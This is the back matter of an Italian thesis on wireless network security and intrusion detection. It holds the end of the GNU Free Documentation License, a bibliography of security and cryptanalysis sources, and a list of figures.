  • 99. 92 GNU Free Documentation License K. For any section Entitled “Acknowledgements” or “Dedications”, Pre- serve the Title of the section, and preserve in the section all the sub- stance and tone of each of the contributor acknowledgements and/or dedications given therein. L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. M. Delete any section Entitled “Endorsements”. Such a section may not be included in the Modified Version. N. Do not retitle any existing section to be Entitled “Endorsements” or to conflict in title with any Invariant Section. O. Preserve any Warranty Disclaimers. If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version’s license notice. These titles must be distinct from any other section titles. You may add a section Entitled “Endorsements”, provided it contains nothing but endorsements of your Modified Version by various parties–for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard. You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the
  • 100. C.5 Combining documents 93 same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version. C.5 Combining documents You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers. The combined work need only contain one copy of this License, and mul- tiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work. In the combination, you must combine any sections Entitled “Histo- ry” in the various original documents, forming one section Entitled “Hi- story”; likewise combine any sections Entitled “Acknowledgements”, and any sections Entitled “Dedications”. You must delete all sections Entitled “Endorsements”.
  • 101. 94 GNU Free Documentation License C.6 Collections of documents You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document. C.7 Aggregation with independent works A compilation of the Document or its derivatives with other separate and in- dependent documents or works, in or on a volume of a storage or distribution medium, is called an “aggregate” if the copyright resulting from the compi- lation is not used to limit the legal rights of the compilation’s users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document’s Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
  • 102. C.8 Translation 95 C.8 Translation Translation is considered a kind of modification, so you may distribute trans- lations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may inclu- de a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the origi- nal version of this License or a notice or disclaimer, the original version will prevail. If a section in the Document is Entitled “Acknowledgements”, “Dedi- cations”, or “History”, the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title. C.9 Termination You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
  • 103. 96 GNU Free Documentation License C.10 Future revisions of this license The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/. Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License “or any later version” applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
  • 104. Bibliografia [1] S. Zanero: Un Sistema di Intrusion Detection basato su Tecniche di Apprendimento non Supervisionato, Tesi di Laurea in Ingegneria Informatica, pp 17-52, Milano, 2001. [2] S. Piccardi: La Gestione della Sicurezza con GNU/Linux, Technical Report, Truelite, pp 1-25, 2004. [3] United States Department of Defense: Trusted Computer System Evaluation Criteria, DoD Standard 5200.28-STD, pp 9-33, 1985. [4] D. D. Clark, D. D. Wilson: A Comparison of Commercial and Military Computer Security Policies, 1987 IEEE Symposium on Security and Privacy, 1987. [5] D. E. Bell, L. J. LaPadula, Secure Computer Systems: Unified Exposi- tion and Multics Interpretation, Research Report, Mitre TR-2997, Mitre Corporation, Bedford, MA, 1976. [6] National Security Agency (NSA): National Security Agency Shares Security Enhancements to LINUX, NSA Press Release, 2001. [7] B. Spengler: Why doesn’t grsecurity use LSM?, Technical Report, http://www.grsecurity.net/lsm.php [8] D. Ferraiolo, R. Kuhn: Role Based Access Control, 15th National Computer Security Conference, 554-563, 1992.
  • 105. 98 BIBLIOGRAFIA [9] B. Schneier: Computer Security: Will We Ever Learn?, Techical Report, Crypto-Gram Newsletter, 2000. [10] A. C. Hobbs: Locks and Safes: The Construction of Locks, Technical Report, West Orange, NJ, 1853. [11] J. Mogul, Digital Equipment Corporation, 1988. [12] Act of the United States of America Congress: Uniting and Strengthe- ning America by Providing Appropriate Tools Required to Intercept and Obstruct Terrorism Act of 2001, Public Law 107-56, 2001. [13] J. K. Rowling: Harry Potter and the Philosopher’s Stone, Bloomsbury Publishing PLC, 1997. [14] Original work based on Wireless Security of D. Wagner, Technical Report, pp 8-15, 2002. [15] S. Fluhrer, I. Mantin, A. Shamir: Weaknesses in the Key Schedu- ling Algorithm of RC4, 8th Annual Workshop on Selected Areas in Cryptography, Toronto, Canada, 2001. [16] A. Biryukov, A. Shamir, D. Wagner: Real time cryptanalysis of A5/1 on a PC, In FSE: Fast Software Encryption, 2000. [17] J. R. Walker: Unsafe at any key size; an analysis of the WEP encapsulation, IEEE Document 802.11-00/362, 2000. [18] E. Tews, R. P. Weinmann, A. Pyshkin: Breaking 104 bit WEP in less than 60 seconds, Cryptology ePrint Archive, Report 2007/120, 2007. [19] R. Moskowitz: Weakness in Passphrase Choice in WPA Interface, Technical Report, Wi-Fi Net News, 2003. [20] WPA/WPA2 Rainbow Tables from http://www.renderlab.net/projects/WPA- tables
  • 106. BIBLIOGRAFIA 99 [21] P. Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off, Lecture Notes in Computer Science, Laboratoire de Securit et de Cryptographie (LASEC), CH, 2003. [22] Xirrus Wi-Fi Reference Program: Wi-Fi Encryption Demystified Poster, Technical Report, 2007. [23] IEEE Standard 802.11: Amendment 6: Medium Access Control (MAC) Security Enhancements, IEEE Approved Std 802.11i, pp 57-62, 2004. [24] National Institute of Standards and Technology: FIPS PUB 140-2, Se- curity Requirements For Cryptographic Modules, U.S. Department of Commerce, 2006. [25] Cisco Systems: Secure Wireless Architectures for Federal Agencies, White Paper, 2007. [26] J. Epstein: 802.11w fills wireless security holes, Technical Report, NetworkWorld, 2006. [27] M. Kershaw: Kismet 2007-10-R1 Documentation, Development Report, 2007. [28] S. Gordeychik: Web-style Wireless IDS attacks, Technical Report, Positive Technologies, 2006. [29] SecLists.Org Security Archive: RFMON detection, Mailing List Thread, http://seclists.org/basics/2004/Jul/0044.html, Insecu- re.Org, 2004. [30] Google Maps API, http://www.google.com/apis/maps [31] J. Wright: Layer 2 Analysis of WLAN Discovery Applications for Intrusion Detection, White Paper, Johnson & Wales University, 2002. [32] J. Wright: Detecting Wireless LAN MAC Address Spoofing, White Paper, Johnson & Wales University, 2003.
  • 107. 100 BIBLIOGRAFIA [33] L. Butti, F. Veyseet: Wi-Fi trickery, or how to secure (?), break (??) and have fun with Wi-Fi, France Telecom Division R&D, ShmooCon 2006, Washington, 2006. [34] C. R. Ameter, R. A. Griffith, J. K. Pickett: WHIFF – Wireless Intru- stion Detection System, White Paper, Foundstone and Carnegie Mellon University, 2003. [35] P. Mateti: Hacking Techniques in Wireless Networks, Technical Report, The Handbook of Information Security, John Wiley & Sons, 2005. [36] ManageEngine: What is Duration Attack?, White Paper. [37] Open Web Application Security Project: What is fuzzing, http://www.owasp.org/index.php/Fuzzing [38] L. Butti: Wi-Fi Advanced Fuzzing France Telecom - Orange Division R&D, BlackHat Europe 2007, 2007. [39] P. Biondi: Network packet forgery with Scapy, PacSec/core05, 2005. [40] J. Wright, M. Kershaw: Extensible 802.11 Packet Flinging, ShmooCon 2007, 2007. [41] W. G. Henrique, Intruders Tiger Team Security: ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100AP), SecurityFocus, Security Advisory, 2006. [42] R. Foust: Identifying and Tracking Unauthorized 802.11 Cards and Ac- cess Points, A Practical Approach, ;login: The Magazine of Usenix & Sage vol. 27 no. 4, 2002. [43] F. Adelstein, P. Alla, R. Joyce, G. G. Richard III: Physically Locating Wireless Intruders, Journal of Universal Computer Science vol. 11, no. 1, 2005. [44] Aircrack-ng, http://www.aircrack-ng.org/doku.php?id=tutorial
  • 108. Elenco delle figure 1.1 Schema di controllo RBAC . . . . . . . . . . . . . . . . . . . . 6 2.1 Topologia di rete con DMZ . . . . . . . . . . . . . . . . . . . . 13 3.1 Stadi crittografia WEP . . . . . . . . . . . . . . . . . . . . . . 20 3.2 Vulnerabilit` WEP [14] . . . . . . . . . . . . . . . . . . . . . . 22 a 3.3 Gerarchia delle chiavi WPA/WPA2 . . . . . . . . . . . . . . . 25 3.4 Autenticazione tramite server RADIUS [22] . . . . . . . . . . 26 3.5 Stato delle reti WLAN nella citt` di Cesena . . . . . . . . . . 31 a 4.1 Struttura Wireless IDS . . . . . . . . . . . . . . . . . . . . . . 34 4.2 Un attacco Evil-Twin . . . . . . . . . . . . . . . . . . . . . . . 36 4.3 Architettura WIDS . . . . . . . . . . . . . . . . . . . . . . . . 39 4.4 Attacco alla rete interna . . . . . . . . . . . . . . . . . . . . . 46 4.5 Duration attack . . . . . . . . . . . . . . . . . . . . . . . . . . 49 4.6 Localizzazione con antenne omnidirezionali . . . . . . . . . . . 55 4.7 Localizzazione con antenne direzionali . . . . . . . . . . . . . . 56 4.8 Wardriving con Kismet . . . . . . . . . . . . . . . . . . . . . . 57 4.9 Dettagli della rete . . . . . . . . . . . . . . . . . . . . . . . . . 58
  • 109. 102 ELENCO DELLE FIGURE 4.10 Alerts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 5.1 Topologia della rete utilizzata nei test . . . . . . . . . . . . . . 62 5.2 Cracking chiave WEP128 . . . . . . . . . . . . . . . . . . . . . 66 5.3 Cracking chiave WPA . . . . . . . . . . . . . . . . . . . . . . . 68 5.4 Injection con Simple Injector su Wireshark . . . . . . . . . . . 72